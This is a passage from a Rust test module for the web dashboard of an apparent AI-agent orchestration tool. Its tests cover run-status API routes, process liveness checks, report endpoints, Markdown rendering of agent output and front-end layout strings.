12097 assert_eq!(detail.json()["base_branch"], "main");
12098 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
12099 }
12100
12101 #[tokio::test]
12109 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
12110 let f = Fixture::start().await;
12111
12112 let mut none_run = RunState::new(
12113 PathBuf::from("/repo/magi"),
12114 "main".to_owned(),
12115 "0123456789abcdef".to_owned(),
12116 "Add a web UI".to_owned(),
12117 Config::default(),
12118 );
12119 none_run.id = "20260902-140503-none".to_owned();
12120 none_run.status = RunStatus::Ready;
12121 none_run.merge = Some(crate::run::MergeOutcome {
12122 mode: crate::config::MergeMode::None,
12123 ok: true,
12124 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
12125 empty: false,
12126 });
12127 write_state(&f.runs(), &none_run);
12128
12129 let mut pr_run = RunState::new(
12130 PathBuf::from("/repo/magi"),
12131 "main".to_owned(),
12132 "0123456789abcdef".to_owned(),
12133 "Add a web UI".to_owned(),
12134 Config::default(),
12135 );
12136 pr_run.id = "20260902-140504-prcl".to_owned();
12137 pr_run.status = RunStatus::Ready;
12138 pr_run.merge = Some(crate::run::MergeOutcome {
12139 mode: crate::config::MergeMode::Pr,
12140 ok: false,
12141 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
12142 empty: false,
12143 });
12144 write_state(&f.runs(), &pr_run);
12145
12146 let summary = f.get("/api/runs").await.json();
12147 let rows: std::collections::HashMap<&str, &Value> = summary
12148 .as_array()
12149 .expect("an array")
12150 .iter()
12151 .map(|r| (r["id"].as_str().expect("an id"), r))
12152 .collect();
12153 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
12154 assert_eq!(
12155 rows[none_run.id.as_str()]["unmerged_by_design"],
12156 true,
12157 "a mode-none Ready must be flagged in the list"
12158 );
12159 assert_eq!(
12160 rows[pr_run.id.as_str()]["unmerged_by_design"],
12161 false,
12162 "a Ready reached by a closed pull request is a different case"
12163 );
12164
12165 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
12166 assert_eq!(none_detail["status"], "ready");
12167 assert_eq!(none_detail["unmerged_by_design"], true);
12168
12169 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
12170 assert_eq!(pr_detail["unmerged_by_design"], false);
12171 }
12172
12173 #[tokio::test]
12178 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
12179 let f = Fixture::start().await;
12180 let id = "20260902-140502-bbbb";
12184 let mut state = RunState::new(
12185 PathBuf::from("/repo/magi"),
12186 "main".to_owned(),
12187 "0123456789abcdef".to_owned(),
12188 "Add a web UI".to_owned(),
12189 Config::default(),
12190 );
12191 state.id = id.to_owned();
12192 state.status = RunStatus::Judging;
12193 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
12194 let dir = f.runs().join(id);
12195 std::fs::create_dir_all(&dir).expect("run dir");
12196 std::fs::write(
12197 dir.join("run.json"),
12198 serde_json::to_string_pretty(&state).expect("serialize run"),
12199 )
12200 .expect("write run.json");
12201
12202 let cold = f.get(&format!("/api/runs/{id}")).await.json();
12208 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
12209 assert_eq!(cold["live"], "unknown", "{cold}");
12210
12211 write_daemon(f.home.path(), Timestamp::now());
12214 let warm = f.get(&format!("/api/runs/{id}")).await.json();
12215 assert_eq!(warm["live"], "live", "{warm}");
12216 }
12217
12218 #[tokio::test]
12221 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
12222 let f = Fixture::start().await;
12223 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
12224 let mut state = RunState::new(
12225 PathBuf::from("/repo/magi"),
12226 "main".to_owned(),
12227 "0123456789abcdef".to_owned(),
12228 "Add a web UI".to_owned(),
12229 Config::default(),
12230 );
12231 state.id = id.to_owned();
12232 state.origin = origin;
12233 let mut value = serde_json::to_value(&state).expect("serialize run");
12234 if let Some(schema) = schema {
12235 value["schema"] = serde_json::json!(schema);
12236 value.as_object_mut().unwrap().remove("origin");
12237 }
12238 let dir = f.runs().join(id);
12239 std::fs::create_dir_all(&dir).expect("run dir");
12240 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
12241 };
12242 write(
12243 "20260930-092817-ec34",
12244 Some(crate::run::Origin::from_agent_env(
12245 Some(("4a7b".to_owned(), "chat".to_owned())),
12246 None,
12247 )),
12248 None,
12249 );
12250 write("20260930-092817-0ld1", None, Some(12));
12251
12252 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
12253 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
12254 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
12255
12256 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
12257 assert_eq!(
12258 old["origin_label"], "origin unknown (started before origins were recorded)",
12259 "{old}"
12260 );
12261 assert!(old["origin"].is_null(), "{old}");
12262
12263 let list = f.get("/api/runs").await.json();
12264 let labels: Vec<_> = list
12265 .as_array()
12266 .unwrap()
12267 .iter()
12268 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
12269 .collect();
12270 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
12271 }
12272
12273 #[tokio::test]
12280 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
12281 let f = Fixture::start().await;
12282 let id = "20260922-090000-cccc";
12283 let mut state = RunState::new(
12284 PathBuf::from("/repo/magi"),
12285 "main".to_owned(),
12286 "0123456789abcdef".to_owned(),
12287 "Review only".to_owned(),
12288 Config::default(),
12289 );
12290 state.id = id.to_owned();
12291 state.status = RunStatus::Reviewing;
12292 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12293 state.driver_pid = Some(std::process::id());
12299 state.driver_started_at = Some(
12300 crate::proc::process_started_at(std::process::id())
12301 .expect("this test process's own start time must be queryable"),
12302 );
12303 let dir = f.runs().join(id);
12304 std::fs::create_dir_all(&dir).expect("run dir");
12305 std::fs::write(
12306 dir.join("run.json"),
12307 serde_json::to_string_pretty(&state).expect("serialize run"),
12308 )
12309 .expect("write run.json");
12310
12311 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12312 assert_eq!(detail["live"], "live", "{detail}");
12313 }
12314
12315 #[tokio::test]
12321 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
12322 let f = Fixture::start().await;
12323 let id = "20260922-090100-dddd";
12324 let mut state = RunState::new(
12325 PathBuf::from("/repo/magi"),
12326 "main".to_owned(),
12327 "0123456789abcdef".to_owned(),
12328 "Review only".to_owned(),
12329 Config::default(),
12330 );
12331 state.id = id.to_owned();
12332 state.status = RunStatus::Reviewing;
12333 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12334 state.driver_pid = Some(std::process::id());
12339 state.driver_started_at = Some("1".to_owned());
12340 let dir = f.runs().join(id);
12341 std::fs::create_dir_all(&dir).expect("run dir");
12342 std::fs::write(
12343 dir.join("run.json"),
12344 serde_json::to_string_pretty(&state).expect("serialize run"),
12345 )
12346 .expect("write run.json");
12347
12348 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12349 assert_eq!(detail["live"], "dead", "{detail}");
12350 }
12351
12352 #[test]
12356 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
12357 let mk = |id: &str, pid: Option<u32>| {
12358 let mut s = RunState::new(
12359 PathBuf::from("/repo/magi"),
12360 "main".to_owned(),
12361 "0123456789abcdef".to_owned(),
12362 "Add a web UI".to_owned(),
12363 Config::default(),
12364 );
12365 s.id = id.to_owned();
12366 s.driver_pid = pid;
12367 s.driver_started_at = Some("1790000000".to_owned());
12368 s
12369 };
12370 let states = vec![
12371 mk("20260902-140502-aaaa", Some(77)),
12372 mk("20260902-140502-bbbb", Some(77)),
12373 mk("20260902-140502-cccc", Some(77)),
12374 mk("20260902-140502-dddd", None),
12375 ];
12376 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
12377 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
12378 let sup: HashMap<String, String> = [(
12379 "20260902-140502-aaaa".to_owned(),
12380 "20260902-140502-cccc".to_owned(),
12381 )]
12382 .into();
12383
12384 let status_calls = std::cell::Cell::new(0);
12385 let identity_calls = std::cell::Cell::new(0);
12386 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
12387 |_| {
12388 status_calls.set(status_calls.get() + 1);
12389 Some(true)
12390 },
12391 |_| {
12392 identity_calls.set(identity_calls.get() + 1);
12393 Some("1790000000".to_owned())
12394 },
12395 ));
12396 let rows = summarize(
12397 states,
12398 &open,
12399 &claimed,
12400 &sup,
12401 |p| probe.borrow_mut().status(p),
12402 |p| probe.borrow_mut().started_at(p),
12403 );
12404
12405 assert_eq!(status_calls.get(), 1, "one pid, one status query");
12406 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12407 assert_eq!(rows.len(), 4);
12408 assert!(!rows[0].waiting && rows[1].waiting);
12409 assert_eq!(rows[0].live, crate::run::Liveness::Live);
12410 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12411 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12412 assert_eq!(rows[1].superseded_by, None);
12413 }
12414
12415 #[test]
12416 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12417 let mut state = RunState::new(
12418 PathBuf::from("/repo/magi"),
12419 "main".to_owned(),
12420 "0123456789abcdef".to_owned(),
12421 "Review only".to_owned(),
12422 Config::default(),
12423 );
12424 state.id = "20260922-090200-dead".to_owned();
12425 state.status = RunStatus::Reviewing;
12426 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12427 .expect("serialize list row");
12428 assert_eq!(row["status"], "reviewing");
12429 assert_eq!(row["live"], "dead", "{row}");
12430 assert!(!row["done"].as_bool().unwrap());
12431 }
12432
12433 #[tokio::test]
12434 async fn the_run_list_is_newest_first_and_honours_a_limit() {
12435 let f = Fixture::start().await;
12436 for id in [
12437 "20260902-140501-aaaa",
12438 "20260902-140502-bbbb",
12439 "20260902-140503-cccc",
12440 ] {
12441 write_run(&f.runs(), id, RunStatus::Merged);
12442 }
12443
12444 let all = f.get("/api/runs").await.json();
12445 let capped = f.get("/api/runs?limit=2").await.json();
12446
12447 assert_eq!(all[0]["id"], "20260902-140503-cccc");
12448 assert_eq!(all.as_array().map(Vec::len), Some(3));
12449 assert_eq!(capped.as_array().map(Vec::len), Some(2));
12450 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12451 }
12452
12453 #[tokio::test]
12454 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12455 let f = Fixture::start().await;
12456 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12457
12458 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12459
12460 assert_eq!(res.status, 200);
12461 assert!(
12462 res.headers
12463 .contains("content-type: text/plain; charset=utf-8"),
12464 "a browser must render it, not download it: {}",
12465 res.headers
12466 );
12467 assert!(
12471 res.body.contains("20260902-140501-a1b2"),
12472 "the report is about the run that was asked for: {}",
12473 res.body
12474 );
12475 }
12476
12477 #[tokio::test]
12478 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12479 crate::run::pin_test_home();
12481 let f = Fixture::start().await;
12482 let id = "20260902-140501-a1b2";
12483 write_run(&f.runs(), id, RunStatus::Stalled);
12484 let path = f.runs().join(id).join("run.json");
12487 let mut v: serde_json::Value =
12488 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12489 v["tally"] = serde_json::json!({
12490 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12491 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12492 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12493 "met_quorum": false, "rankings": 1
12494 });
12495 v["reviews"] = serde_json::json!([{
12496 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12497 "e2e_deferred": true,
12498 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12499 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12500 ]}]
12501 }]);
12502 std::fs::write(&path, v.to_string()).unwrap();
12503 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12504 std::fs::write(
12505 f.runs().join("20260902-140502-dead").join("run.json"),
12506 "{not json",
12507 )
12508 .unwrap();
12509
12510 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12511
12512 assert_eq!(res.status, 200, "{}", res.body);
12513 assert!(res.headers.contains("content-type: application/json"));
12514 let j = res.json();
12515 assert_eq!(j["schema"], 1);
12516 assert_eq!(j["header"]["id"], id);
12517 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12518 let kinds: Vec<&str> = j["sections"]
12519 .as_array()
12520 .unwrap()
12521 .iter()
12522 .map(|s| s["kind"].as_str().unwrap())
12523 .collect();
12524 assert_eq!(kinds, ["candidates", "tally", "review"]);
12525 let tally = &j["sections"][1]["tally"];
12526 assert_eq!(
12527 (tally["decided"].clone(), tally["provisional"].clone()),
12528 (false.into(), true.into())
12529 );
12530 let round = &j["sections"][2]["rounds"][0];
12531 assert_eq!(round["e2e"]["state"], "deferred");
12532 assert_eq!(round["findings"][0]["severity"], "major");
12533 assert_eq!(round["findings"][0]["blocking"], true);
12534 assert_eq!(round["findings"][0]["state"], "open");
12535
12536 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12538
12539 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12541 assert_ne!(bad.status, 200, "{}", bad.body);
12542 assert_eq!(
12543 bad.status,
12544 f.get("/api/runs/20260902-140502-dead/report").await.status
12545 );
12546 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12547 assert_eq!(
12548 f.get("/api/runs/20260902-999999-ffff/report.json")
12549 .await
12550 .status,
12551 404
12552 );
12553 }
12554
12555 #[tokio::test]
12556 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
12557 let f = Fixture::start().await;
12558
12559 let html = f.get("/").await;
12560 let css = f.get("/app.css").await;
12561 let js = f.get("/app.js").await;
12562
12563 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
12564 assert!(
12565 html.headers
12566 .contains("content-type: text/html; charset=utf-8")
12567 );
12568 assert!(css.headers.contains("content-type: text/css"));
12569 assert!(js.headers.contains("content-type: text/javascript"));
12570 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
12571 }
12572
12573 #[test]
12574 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
12575 let body = |name: &str| {
12576 let at = APP_JS
12577 .find(name)
12578 .unwrap_or_else(|| panic!("{name} missing"));
12579 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12580 };
12581 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
12582 let note = body("function landRoundNote");
12583 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
12584 assert!(note.contains("Land round ${round}"));
12585 let land = body("function renderLand");
12586 let note_at = land
12587 .find("landRoundNote(pr)")
12588 .expect("renderLand uses the note");
12589 assert!(
12590 note_at
12591 < land
12592 .find("roundRail(pr)")
12593 .expect("renderLand uses the rail")
12594 );
12595 }
12596
12597 #[test]
12598 fn the_runs_page_redesign_keeps_its_guards() {
12599 let body = |name: &str| {
12600 let at = APP_JS
12601 .find(name)
12602 .unwrap_or_else(|| panic!("{name} missing"));
12603 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12604 };
12605 let land = body("function renderLand");
12607 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
12608 assert!(
12609 !land.contains("box.append("),
12610 "renderLand must use append()"
12611 );
12612 assert!(land.contains("append(box, ["));
12613 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
12615 assert!(
12616 body("function applyRoute")
12617 .contains("route.name !== state.route.name || route.id !== state.route.id")
12618 );
12619 assert!(!APP_JS.contains("adviseConvergeDiagram"));
12621 assert!(!INDEX_HTML.contains("advise-converge"));
12622 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
12623 assert!(APP_JS.contains("provisional"));
12624 for id in [
12625 "run-tab-overview",
12626 "run-tab-timeline",
12627 "run-tab-report",
12628 "run-report",
12629 "runs-scope",
12630 ] {
12631 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
12632 }
12633 assert!(!INDEX_HTML.contains("runs-tree"));
12634 assert!(!INDEX_HTML.contains("run-raw-panel"));
12635 assert!(APP_JS.contains("resume"));
12637 assert!(APP_JS.contains("unreadable"));
12639 }
12640
12641 #[test]
12642 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
12643 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
12644 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
12645 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
12646 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
12647 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
12648 assert!(APP_JS.contains("unreadable` : null"));
12650 }
12651
12652 #[test]
12653 fn the_run_detail_payload_says_whether_the_run_is_done() {
12654 for (status, done) in [
12656 (RunStatus::Superseded, true),
12657 (RunStatus::Blocked, true),
12658 (RunStatus::Landing, false),
12659 ] {
12660 let mut state = RunState::new(
12661 std::path::PathBuf::from("/repo"),
12662 "main".to_owned(),
12663 "abc".to_owned(),
12664 "x".to_owned(),
12665 crate::config::Config::default(),
12666 );
12667 state.status = status;
12668 let v = serde_json::to_value(RunDetailView::of(
12669 state,
12670 crate::run::Liveness::Unknown,
12671 None,
12672 None,
12673 None,
12674 ))
12675 .unwrap();
12676 assert_eq!(v["done"], done, "{status:?}");
12677 }
12678 }
12679
12680 fn has_strong(nodes: &[md::Node]) -> bool {
12682 serde_json::to_string(nodes).unwrap().contains("strong")
12683 }
12684
12685 #[test]
12686 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
12687 let mut state = RunState::new(
12688 std::path::PathBuf::from("/repo"),
12689 "main".to_owned(),
12690 "abc".to_owned(),
12691 "x".to_owned(),
12692 crate::config::Config::default(),
12693 );
12694 let proposal = |approach: &str| {
12695 serde_json::json!({
12696 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
12697 })
12698 };
12699 state.advice = Some(
12700 serde_json::from_value(serde_json::json!({
12701 "records": [
12702 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
12703 "proposal": proposal("do **this**")},
12704 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
12705 ],
12706 "synthesis": "- one\n- **two**\n\n`code`",
12707 }))
12708 .unwrap(),
12709 );
12710 state.candidates = serde_json::from_value(serde_json::json!([
12711 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
12712 "summary": "did **it**"},
12713 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
12714 ]))
12715 .unwrap();
12716 state.reviews = serde_json::from_value(serde_json::json!([{
12719 "round": 1, "head": "h",
12720 "reviews": [{
12721 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
12722 "findings": [
12723 {"severity": "nit", "title": "t1", "detail": "plain nit"},
12724 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
12725 ],
12726 }],
12727 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
12728 "fix": {"agent": "a", "notes": "fixed **it**",
12729 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
12730 }, {"round": 2, "head": "h2", "reviews": []}]))
12731 .unwrap();
12732
12733 let v = serde_json::to_value(RunDetailView::of(
12734 state,
12735 crate::run::Liveness::Unknown,
12736 None,
12737 None,
12738 None,
12739 ))
12740 .unwrap();
12741
12742 let strong = |p: &str| {
12743 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12744 assert!(n.to_string().contains("strong"), "{p}: {n}");
12745 };
12746 strong("/advice_md/synthesis");
12747 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12748 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12749 strong("/advice_md/approaches/0");
12750 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12751 strong("/candidate_summaries_md/0");
12752 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
12753 strong("/reviews_md/0/reviewers/0/summary");
12754 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12755 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12756 assert!(f[1].to_string().contains("strong"));
12757 strong("/reviews_md/0/reconsideration/0");
12758 strong("/reviews_md/0/fix/notes");
12759 strong("/reviews_md/0/fix/rejected/0");
12760 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12761 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12762 assert_eq!(v["candidates"][0]["summary"], "did **it**");
12764 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12765 }
12766
12767 #[test]
12768 fn a_run_without_advice_has_no_advice_md() {
12769 let state = RunState::new(
12770 std::path::PathBuf::from("/repo"),
12771 "main".to_owned(),
12772 "abc".to_owned(),
12773 "x".to_owned(),
12774 crate::config::Config::default(),
12775 );
12776 let p = run_prose_md(&state);
12777 assert!(p.advice_md.is_none());
12778 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12779 }
12780
12781 #[test]
12782 fn a_question_view_carries_markdown_for_each_thread_turn() {
12783 let home = TempDir::new().unwrap();
12784 let store = ask::Questions::at(home.path().join("questions"));
12785 let mut q = Question::new(
12786 "run".to_owned(),
12787 "implement".to_owned(),
12788 "impl-A".to_owned(),
12789 "which?".to_owned(),
12790 String::new(),
12791 Vec::new(),
12792 );
12793 q.say("plain words").unwrap();
12794 q.reply("use **this**", Vec::new()).unwrap();
12795 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12796 let bodies = &v["thread_bodies_md"];
12797 assert_eq!(bodies.as_array().unwrap().len(), 2);
12798 assert!(!bodies[0].to_string().contains("strong"));
12799 assert!(bodies[1].to_string().contains("strong"));
12800 }
12801
12802 #[test]
12803 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
12804 let home = TempDir::new().unwrap();
12805 let store = ask::Questions::at(home.path().join("questions"));
12806 let mut q = Question::new(
12807 "run".to_owned(),
12808 "conduct".to_owned(),
12809 "conduct".to_owned(),
12810 "which?".to_owned(),
12811 String::new(),
12812 Vec::new(),
12813 );
12814 q.say("plain words").unwrap();
12815 q.thread.push(ask::Turn {
12816 who: ask::Who::Agent,
12817 body: "Settled as `merge`".to_owned(),
12818 at: jiff::Timestamp::now(),
12819 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
12820 });
12821 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12822 let notes = &v["thread_notes_md"];
12823 assert_eq!(notes.as_array().unwrap().len(), 2);
12824 assert!(notes[0].is_null());
12825 let text = notes[1].to_string();
12826 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
12827 assert!(APP_JS.contains("ask-turn-note"));
12828 }
12829
12830 #[test]
12831 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12832 assert!(APP_JS.contains("function landView(run, raw) {"));
12836 assert!(
12837 APP_JS.contains(
12838 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12839 )
12840 );
12841 assert!(APP_JS.contains("const pr = landView(run, raw);"));
12842 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12843 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12844 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12845 }
12846
12847 #[test]
12848 fn live_runs_are_never_hidden_or_folded_as_superseded() {
12849 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
12850 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12851 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12852 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
12853 }
12854
12855 #[test]
12856 fn review_rounds_label_a_distinct_verified_head() {
12857 assert!(APP_JS.contains("round.verified_head"));
12858 assert!(APP_JS.contains("verified HEAD"));
12859 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
12860 }
12861
12862 #[test]
12863 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
12864 assert!(APP_JS.contains("blocked: { glyph:"));
12868 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
12869
12870 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12874 assert!(
12875 APP_JS.contains(
12876 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12877 ),
12878 "the note line must name what a blocked task is waiting on, not just that it is blocked"
12879 );
12880 assert!(APP_JS.contains("if (status === \"blocked\") {"));
12884
12885 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12889 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12890 assert!(
12891 APP_JS.contains("location.hash = \"#/questions\";"),
12892 "a question node must jump to the Questions screen, not pretend to be a task"
12893 );
12894
12895 assert!(APP_JS.contains("Resolved questions"));
12898 assert!(APP_JS.contains("r.answersList.append("));
12899 assert!(APP_CSS.contains(".task-answers"));
12900 {
12901 let start = APP_JS
12902 .find("function updateTalkTaskRow")
12903 .expect("updateTalkTaskRow");
12904 let body = &APP_JS[start..];
12905 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12906 assert!(
12907 body.contains(
12908 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12909 ),
12910 "a chat-filed task row must link to the task page"
12911 );
12912 assert!(
12913 !body.contains("#/runs/") && !body.contains("#/queue/"),
12914 "the row must not branch to a run or the queue card"
12915 );
12916 assert!(APP_CSS.contains(".talk-task-link"));
12917 }
12918 }
12919
12920 #[test]
12921 fn a_task_notification_links_to_the_task_page() {
12922 let start = APP_JS
12924 .find("function noticeLink(")
12925 .expect("noticeLink exists");
12926 let body = &APP_JS[start..];
12927 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12928 assert!(
12929 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12930 "a task notice's link must target the task page"
12931 );
12932 assert!(
12933 !body.contains("#/queue/"),
12934 "regression: the task link must not go back to the Backlog route"
12935 );
12936 assert!(
12937 APP_JS.contains(
12938 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12939 ),
12940 "`#/tasks/<id>` must parse into the task route"
12941 );
12942
12943 assert!(
12945 APP_JS.contains(
12946 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12947 ),
12948 "`#/queue/<id>` must parse into a route carrying that id"
12949 );
12950
12951 assert!(APP_JS.contains("state.queueFocus = route.id;"));
12955 assert!(APP_JS.contains("function consumeQueueFocus()"));
12956 assert!(APP_JS.contains("jumpToTask(id)"));
12957 }
12958
12959 #[test]
12962 fn chat_rows_put_the_title_alone_on_the_first_line() {
12963 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
12964 assert!(APP_CSS.contains(
12965 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12966 ));
12967 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12968 assert!(APP_JS.contains("class: \"badge talk-unread\""));
12969 }
12970
12971 #[test]
12972 fn run_rows_put_the_title_alone_on_the_first_line() {
12973 assert!(
12974 APP_CSS.contains(
12975 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
12976 )
12977 );
12978 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12979 assert!(APP_JS.contains("class: \"card run-card\""));
12980 assert!(APP_JS.contains("class: \"repo run-id\""));
12981 }
12982
12983 #[test]
12987 fn wide_screens_show_list_and_preview_side_by_side() {
12988 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12990 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12991 assert!(APP_CSS.contains("main[data-split]"));
12992 assert!(APP_CSS.contains("body[data-split]"));
12993
12994 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
12996 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
12997 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
12998 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
12999 assert!(INDEX_HTML.contains("id=\"split-empty\""));
13000
13001 assert!(APP_JS.contains("function markSelected() {"));
13003 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
13004 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
13005 assert!(
13007 APP_CSS.contains(
13008 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
13009 )
13010 );
13011
13012 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
13014 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
13015 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
13016 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
13017
